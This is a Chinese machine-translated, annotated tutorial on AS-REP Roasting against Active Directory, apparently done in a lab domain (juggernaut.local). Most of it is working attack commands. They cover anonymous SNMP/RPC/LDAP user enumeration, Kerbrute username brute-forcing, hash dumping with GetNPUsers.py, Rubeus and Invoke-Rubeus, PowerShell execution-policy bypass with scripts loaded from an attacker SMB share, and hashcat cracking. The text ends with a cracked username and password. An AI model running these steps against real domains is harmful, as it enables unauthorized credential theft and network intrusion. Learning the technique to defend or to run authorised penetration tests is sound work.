本文通过 Google 翻译 AD Recon -- AS-REP Roasting Attacks 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 Keberos 预身份验证](#1 Keberos 预身份验证)
- [2 AS-REP 烘烤攻击简介](#2 AS-REP 烘烤攻击简介)
- [3 搜寻 AS-REP 可烘烤用户 -- 远程](#3 搜寻 AS-REP 可烘烤用户 – 远程)
- [3.1 通过 SNMP、RPC、LDAP(S) 匿名查询用户](#3.1 通过 SNMP、RPC、LDAP(S) 匿名查询用户)
- [3.2 使用 Kerbrute 暴力枚举](#3.2 使用 Kerbrute 暴力枚举)
- [3.3 其它因素](#3.3 其它因素)
- [4 AS-REP 烘烤攻击 -- 远程](#4 AS-REP 烘烤攻击 – 远程)
- [4.1 GetNPUsers.py](#4.1 GetNPUsers.py)
- [5 搜寻 AS-REP 可烘烤用户 -- 本地](#5 搜寻 AS-REP 可烘烤用户 – 本地)
- [5.1 PowerView.ps1](#5.1 PowerView.ps1)
- [5.2 Import-ActiveDirectory.ps1](#5.2 Import-ActiveDirectory.ps1)
- [6 AS-REP 烘烤攻击 -- 本地](#6 AS-REP 烘烤攻击 – 本地)
- [6.1 Rubeus.exe](#6.1 Rubeus.exe)
- [6.2 Invoke-Rubeus.ps1](#6.2 Invoke-Rubeus.ps1)
- [7 破解 AS-REP 哈希](#7 破解 AS-REP 哈希)
- [8 场景示例](#8 场景示例)
0、前言
在这篇文章中,我们将了解 AS-REP 烘烤(AS-REP Roasting)攻击是什么,以及如何通过远程和本地的方式去执行这些攻击操作。
首先,我们将简要了解 Kerberos 预身份验证和 AS-REP 烘烤攻击的工作原理 ;接着,学习如何远程搜索 域中可进行 AS-REP 烘烤的用户,以及如何远程执行 AS-REP 烘烤攻击以转储可烘烤用户的哈希值;然后,在已建立立足点的情况下,以本地的方式去搜索 可进行 AS-REP 烘烤的用户以及本地执行 AS-REP 烘烤攻击;最后,通过 Hashcat 破解转储(多种方式转储)的哈希值。
1、Keberos 预身份验证
Kerberos 预身份验证是 Active Directory 环境中每个域用户默认启用的功能。
正常情况下,当域用户需要访问资源时,首先它需要向域控制器 (DC) 上的密钥分发中心 (KDC) 发送身份验证请求 AS-REQ【该请求中会包含一个通过当前用户密钥加密后的时间戳】,KDC 在收到验证请求之后会使用该用户对应的密钥将这个已加密的时间戳进行解密【域中保存着所有域用户的密钥哈希】,如果解密成功且时间戳在有效范围之内,则返回一个 AS-REP 包进行响应【该响应中会会包含一张 TGT 票据以及一个通过用户密钥加密的会话密钥】。

而如果域用户禁用了预身份验证功能,那么在上述的身份验证交互中,KDC 便会跳过对 AS-REQ 请求中加密时间戳进行解密验证的步骤,但仍会返回一个通过用户密钥加密的会话密钥的 AS-REP 响应。于是,攻击者便可以获取这类域用户的 AS-REP 消息,然后通过 Hashcat 去离线破解以获得用户密钥。
2、AS-REP 烘烤攻击简介
AS-REP 烘烤攻击是一种用来转储已禁用 Kerberos 预身份验证的用户账户的哈希值的技术,它与 Kerberoasting 攻击不同的是,此类攻击涉及的用户不仅限于服务帐户,任何帐户都可以通过简单地选中一个框来关闭预身份验证功能。

执行 AS-REP 烘烤攻击的唯一要求就是需要获得那些已禁用预身份验证的用户名称列表。然而,这说起来容易做起来却难...
例如,如果我们刚刚开始枚举并试图远程执行攻击,那么我们需要找到一种方法来从 SNMP、RPC、LDAP 等服务中转储域用户列表。否则,就只能寄希望于运气通过暴力破解用户名以获得域用户列表。
亦或者,如果我们已在域主机上获得了立足点,那就可以轻松枚举域用户以及 AS-REP 可烘烤用户。
这也说明 AS-REP 烘烤技术既是一种初始访问的技术,也是一种权限提升的技术。
现在,我们已经了解了 Kerberos 预认证和 AS-REP 烘烤攻击,接下来就来看一些示例吧!
3、搜寻 AS-REP 可烘烤用户 -- 远程
在这个示例中,我们将远程枚举 AS-REP 可烘烤(Roastable)用户。
假设我们已经知道了目标网络的 IP 地址段为 172.16.1.0/24,但目前还不知道任何用户名和密码,只是使用 nbtscan 收集到了 IP 地址和主机名的映射列表。
bash
nbtscan 172.16.1.0/24

从上面的结果可以看到,网络中有三台主机和一个 DC。此时,我们希望能够通过匿名访问 SNMP、RPC、LDAP(S) 中的任一项服务来枚举 DC,以便能够转储域用户列表。
另外,我们还可以检查所有主机/DC 上的 SMB 共享、非标准服务(http(s)、ftp 等)以及暴力枚举等方法去获得一些用户列表。
可用于查找用户名的技术取决于目标机器有哪些服务是开放的,以及我们可以从中枚举到什么。
下面是我们可以尝试的一个小例子(很好的起点),但这绝不是如何在域中查找用户名的全部方法。
3.1、通过 SNMP、RPC、LDAP(S) 匿名查询用户
如上所述,我们应该先通过匿名访问 SNMP、RPC、LDAP(S) 中的任一项服务来枚举 DC,以便能够转储域用户列表。
我们可以使用各种不同的工具和技术来检查这三种服务是否可以被匿名访问。
【1】首先,可以使用以下命令检查对 SNMP 服务的匿名访问:
bash
snmp-check 172.16.1.5

如果操作有效,它将转储大量的信息,其中就包括"用户帐户",即域中的所有用户。
【2】接着,使用 rpcclient 工具检查对 RPC 服务的匿名访问:
bash
rpcclient 172.16.1.5 -N
如果操作有效,我们将进入 rpcclient 交互界面,然后就可以使用以下命令枚举用户:
bash
enumdomusers

【3】最后,可以使用 ldapsearch 检查对 LDAP(S) 服务的匿名访问:
bash
ldapsearch -x -H 'ldap://172.16.1.5' -b "dc=juggernaut,dc=local"

如果操作有效,它将会转储出大量的信息。但由于输出的信息太多,我们不得不用点 Linux 技巧去提取域用户。
bash
ldapsearch -x -H 'ldap://172.16.1.5' -b "dc=juggernaut,dc=local" | grep 'userPrincipalName' | tr '@' ' ' | awk '{print $2}'

请注意,此工具输出的结果中并没有包括三个内置域帐户:Administrator、krbtgt、Guest。
再次强调,这只是我们如何查找域用户的一个小例子。但是,如果这些技术中的任一种奏效,并且能够成功转储出用户列表,那我们就可以使用下面这个名为 Kerbrute 的工具来检查该用户列表中是否存在 AS-REP 可烘烤用户。

整理出 users.txt 文件之后,我们就可以将其传递给 Kerbrute 来检查其中的账户。
bash
kerbrute -users ./users.txt -domain juggernaut.local -dc-ip 172.16.1.5

Amazing!Kerbrute 能够检查每个用户名的有效性,并确定它们是处于活动状态还是被阻止/禁用状态,同时还为那些没有启用预身份验证的用户进行了注释说明,如 vcreed 用户。
注:【1】上文中使用的 kerbrute 是一个基于 impacket 包制作的 python 版本的用户名爆破工具,它可以识别出用户是否禁用预身份验证。【效果很好】
【2】kerbrute 二进制版本的工具本身仅能够进行用户名爆破和账户密码爆破的(速度很快),但无法识别用户是否禁用预身份验证。【同时,使用它之前,需要在 hosts 文件中添加域控的"域名 ip"对应信息。】
【3】impacket-GetNPUsers 工具也可以远程识别用户是否禁用预身份验证,同时还会转储那些禁用预身份验证的用户的哈希。【命令用法:
impacket-GetNPUsers -dc-ip 192.168.56.50 -usersfile user.txt skylark.com/
】【4】rubeus.exe 工具也可以识别用户是否禁用预身份验证,但它需要在域主机上使用。
3.2、使用 Kerbrute 暴力枚举
假设,在我们检查了 SNMP、RPC、LDAP 的匿名访问、SMB 共享资源、开启的 ftp/http 等服务之后,仍然是一无所获。这时,就只剩下暴力枚举用户名这种方式了。
正如我们上面看到的,Kerbrute 是一个很好的工具,它可以确认用户帐户的有效性,以及确定用户是否禁用 Kerberos 预身份验证。
在使用 Kerbrute 工具暴力枚举用户名之前,我们需要先创建一个用户名列表。为此,我们需要了解一点用户名的命名规则。通常,公司在为用户创建用户名时,喜欢使用以下方式中的一种,以用户 jone doe 为例:
- 姓名(jon)
- 名字首字母 + 姓氏 (jdoe)
- 名字 + 姓氏首字母 (jond)
这三种命名方式非常常见,其中第二种(jdoe)最为常见。
电子邮件的命名方式与上面类似,但通常包含句号"."、包含用户的全名,例如:jon.doe@abc
考虑到上面这些,接下来,我们可以开始寻找一个好的单词表来使用。
在下面这个例子中,我们将使用 Hashcat 工具并配合 last-names.txt 单词表来制作自己的自定义单词列表。
首先,我们制定一个简单的规则表:将规则表中的每个字母添加到单词表中的每个单词前面。

然后,使用 Hashcat 对 last-names.txt 文件应用规则表并创建一个新的单词列表。
bash
hashcat --force /usr/share/wordlists/last-names.txt -r /usr/share/hashcat/rules/prepend_letter.rule --stdout > usernames.txt

可以看到,新的单词表比 last-names.txt 文件大 26 倍,它现在包含 230 万个首字母 + 姓氏的组合。
请注意,这个新的单词表相当大。在执行暴力破解时,最好先从较小的单词表开始,然后再逐步增加到较大的单词表。
现在,我们的单词表已经准备好了,接下来就可以使用以下命令进行测试了:
bash
kerbrute -users ./usernames.txt -domain juggernaut.local -dc-ip 172.16.1.5 -threads 80

Amazing!仅仅 15 分钟,就找到了三个用户,而其中一个就是 vcreed!【总的来说,这大概需要 45-60 分钟才能全部完成。】
蛮力绝对不是最快的方法。然而,当我们处于困境并且选择有限时,它会非常有用。
3.3、其它因素
正如之前所说,我们可以在很多地方查找域中的有效用户名。例如,我们可以检查网络中每台主机上运行的所有服务,以查找提示/线索等。
另外,还有一个地方我们应该始终关注:主机名!主机名很重要,它通常会透露一些有用的信息。例如,公司可能会以指定用户的名字来命名主机。
当这种情况发生时,攻击者只需对目标网络进行 nbtscan 扫描即可轻松枚举域中的用户列表。以我们前面通过 nbtscan 扫描到的三个主机名为例:
- JUGG-CMARKO
- JUGG-EFROST
- JUGG-VCREED
根据前面的例子我们知道,cmarko、efrost、vcreed 都是域用户。这意味着我们可以根据找到的主机名来快速确定三个用户名,并将它们添加到 TXT 文件中,然后使用 Kerbrute 去检查它们。

4、AS-REP 烘烤攻击 -- 远程
4.1、GetNPUsers.py
GetNPUsers.py 是一个用于远程执行 AS-REP 烘烤攻击的脚本,它也是 Impacket 脚本集合的一部分。
正如上面看到的,此时我们已经确定用户 vcreed 不需要 Kerberos 预身份验证,并且可以进行 AS-REP 验证。因此,我们可以使用 GetNPUsers.py 对 vcreed 用户执行 AS-REP 烘烤攻击:
bash
GetNPUsers.py juggernaut.local/vcreed -dc-ip 172.16.1.5 -no-pass

Boom!就这样,我们很轻松就转储了用户的 AS-REP 哈希。遗憾的是,这种类型的哈希无法进行哈希传递攻击,因此我们需要使用 hashcat 或 john 工具去破解它。
GetNPUsers.py 会以可破解的格式去转储哈希值,它支持 hashcat 和 john 两种格式,默认使用的是 hashcat 格式。
然而,再去破解这个哈希之前,让我们再看看如何以本地的方式(即 已在域主机上获得了立足点)去搜寻 AS-REP 可烘烤用户,以及执行 AS-REP 烘烤攻击。
5、搜寻 AS-REP 可烘烤用户 -- 本地
在这个示例中,我们将展示如何在本地枚举 AS-REP 可烘烤(Roastable)用户。
假设,我们发现一台 Windows 10 主机(172.16.1.100)上存在一个漏洞,利用该漏洞我们成功获得了一个反向 shell。

接下来,为了能够枚举 AS-REP 可烘烤用户,我们需要借助两个工具来帮助我们,它们分别是:PowerView 和 RSAT。
这两个工具对于域名枚举(在获得立足点之后)非常有用,但由于它们都是 PowerShell 脚本,因此我们需要为其提供 PowerShell 会话:
bash
powershell -ep bypass

注:如果上述操作失败,则可以试试 MSF 制作的 powershell 类型的反向 shell。
若获得的立足点是普通用户权限、且服务器也从没使用过 powershell、其执行策略也还是默认策略 RemoteSigned 时,建议还是绕过使用 ps1 脚本进行枚举利用,去想想其它办法吧,因为这环境无法加载外部脚本。
若拥有管理员权限,则可以设置 powershell 的执行策略,使其可以加载外部脚本。
Set-ExecutionPolicy -ExecutionPolicy Bypass
powershell 的执行策略已是 bypass,则不管是管理员用户还是普通用户都可正常加载外部脚本。
5.1、PowerView.ps1
PowerView 是 PowerSploit 集合中的一个 PowerShell 脚本。
在攻击机下载 PowerView 脚本之后,我们可以为其设置 SMB 共享,以供受害机可以远程加载。

bash
smbserver.py share $(pwd) -smb2support

然后在受害机通过以下命令远程加载该脚本。
powershell
. \\172.16.1.30\share\PowerView.ps1

Perfect!没有看到任何错误,这意味着 PowerView 已成功加载到当前的 PowerShell 会话中了。
接下来,就可以通过以下 Get-DomainUser 命令来提取域中所有 AS-REP 可烘烤用户的列表:
powershell
Get-DomainUser -PreauthNotRequired -Verbose | select samaccountname

注:有时候在不同的账户不同权限不同的登录方式下,这些工具也可能会出现判断错误或异常的情况,建议直接手工获取一份域用户列表(
net user /domain
),然后再使用 kerbrute 去检查一遍。
5.2、Import-ActiveDirectory.ps1
与 PowerView 类似,Import-ActiveDirectory 也是一个 PowerShell 脚本,它允许管理员(和攻击者)轻松查询有关域的信息。
注:此处我直接以 Import-ActiveDirectory 作为说明对象,但原文是以 Remote Server Administration Tools (RSAT) 作为介绍对象。
PowerView 和 Import-ActiveDirectory 之间的主要区别在于:Import-ActiveDirectory 被微软认为是合法的 PowerShell 模块,这使得它成为了攻击者执行域枚举的一种更为隐蔽的选择。
将 Import-ActiveDirectory.ps1 下载之后,我们可将以下命令附加到脚本的底部,以达到加载即运行的效果:
bash
echo $'\nImport-ActiveDirectory' >> Import-ActiveDirectory.ps1

然后在受害机器通过以下命令远程加载该脚本:
powershell
. \\172.16.1.30\share\Import-ActiveDirectory.ps1

现在,脚本已经被加载到了当前的会话中,接下来,我们就可以使用许多好用的 cmdlet 了。
注:不同脚本的加载方式和使用方式亦有所不同,因此需要仔细阅读说明文档。
有关 Import-ActiveDirectory 可用的所有 cmdlet 的列表,可参考"Windows Server 2022 and Windows 11 PowerShell"-ActiveDirectory-Commands 命令手册。
在本例中,我们最感兴趣的 cmdlet 是 Get-ADUser。通过它,我们可以轻松找到那些 AS-REP 可烘烤用户,如下所示:
powershell
Get-ADUSer -Filter 'DoesNotRequirePreAuth -eq $true ' | select samaccountname

Amazing!这两个工具都输出了类似是的信息,并列出了域中所有 AS-REP 可烘烤的账户。
接下来,就让我们看看如何利用发现的 AS-REP 可烘烤账户去在本地发起 AS-REP 烘烤攻击。
6、AS-REP 烘烤攻击 -- 本地
在确定用户 vcreed 是可烘烤用户之后,我们可以使用同一工具的两个不同版本 Rubeus 和 Invoke-Rubeus 对用户执行 AS-REP 烘烤攻击。
有趣的是,这些工具不需要知道禁用预身份验证的用户是谁便可以直接使用。这意味着我们可以跳过上一步,直接执行攻击。
然而,寻找 AS-REP 可烘烤用户仍是一个好习惯,这样可以建立一种有针对性的方法,让我们所做的一切都具有目的性,并避免我们把不必要的工具用在受害者身上。
6.1、Rubeus.exe
Rubeus 是一种能在 AD 环境中非常轻松地执行 AS-REP 烘烤攻击的工具,只需一个命令,它便会识别、请求并提取域中所有 AS-REP 可烘烤用户的哈希值。
首先,我们需要获取 Rubeus 副本,并将其传输到受害者机器上:
powershell
cp \\172.16.1.30\share\rubeus.exe .

然后,使用以下命令执行 AS-REP 烘烤攻击:
powershell
.\Rubeus.exe asreproast

Boom!就这样,Rubeus 找到了所有禁用预身份验证的用户,然后转储了它们的 TGS-REP 哈希值!
注:上面输出的哈希值,不能直接复制粘贴使用,需要先将每行的回车符处理之后,使其成为一行哈希时才能供破解工具使用。
6.2、Invoke-Rubeus.ps1
Invoke-Rubeus.ps1 是一个 PowerShell 脚本,它是Empire后利用框架的一部分 。
与 PowerSploit 类似,Empire 也有很多很棒的脚本可以使用。
获取 Invoke-Rubeus.ps1 副本之后,我们可以为其设置 SMB 共享,以供远程加载使用。
powershell
. \\172.16.1.30\share\Invoke-Rubeus.ps1

加载脚本之后,可以使用以下命令执行 AS-REP 烘烤攻击:
powershell
Invoke-Rubeus -Command "asreproast"

Awesome!就像在 rubeus.exe 中看到的那样,哈希值被成功转储了出来。
7、破解 AS-REP 哈希
使用上面的各种工具获得了用户 vcreed 的 AS-REP 哈希之后,现在是时候使用 Hashcat 破解该哈希了!
首先,我们需要将哈希复制粘贴并处理保存在 asrep_hashes.txt 的文件中。
接着,使用 Hashcat 的帮助菜单来找到破解此类哈希所需的破解模式。
bash
hashcat -h | grep -i "kerberos"

从输出可以看到,这种哈希值所需的破解模式是 18200。
注:通过命令
hashcat -h | grep -i "kerberos"
查找出来的 kerberos 类型有很多,其中 as-rep 、pre-auth 这些类型感觉也和预认证相关,此时如何确定选择哪一种类型呢?此时,我们可以拿哈希开头的字串值
$krb5asrep$
去和 hashcat 官网中给出的示例哈希进行比对,可以发现只有 18200 对应的格式与其匹配。
然后,使用找到的破解模式开始破解密码,如下所示:
bash
hashcat -m 18200 ./asrep_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked_asrep.txt

但是失败了!

然后,又在上述命令中添加 best64 规则之后再次尝试,这次我们成功破解了密码!
注:
/usr/share/hashcat/rules/best64.rule
规则文件会对每个候选密码进行 64 中最常见的变体操作,如:大小写转换、添加常见后缀或前缀(如添加 123,!,1)、替换常见字符(如把 a 变成 @,o 变成 0)、重复字符、反转、裁剪等操作。
bash
hashcat -m 18200 ./asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked_asrep.txt


vcreed:Dfaster1!23
从这里也可以看出,rockyou.txt 并非万能的解决方案,所以不能过度依赖它。如果 rockyou 没有密码,也可以尝试去添加一些规则或尝试一些不同的单词表,或许就会产生不一样的效果。
无论破解此哈希之前的情况如何,在有了一组新的凭据可供使用之后,我们距离实现最终目标(域管理员)就又更近了一步。
8、场景示例
在极少数情况下,您可能会非常幸运,无需找到有效的用户名便可以找到已禁用预身份验证的用户,如下所示:
bash
GetNPUsers.py juggernaut.local/ -dc-ip 172.16.1.5

如果此操作有效,您可以添加 -request 选项来请求发现用户的哈希值:
bash
GetNPUsers.py juggernaut.local/ -dc-ip 172.16.1.5 -request

Amazing!只要知道域名,我们就能获取用户哈希值,然后开始破解它。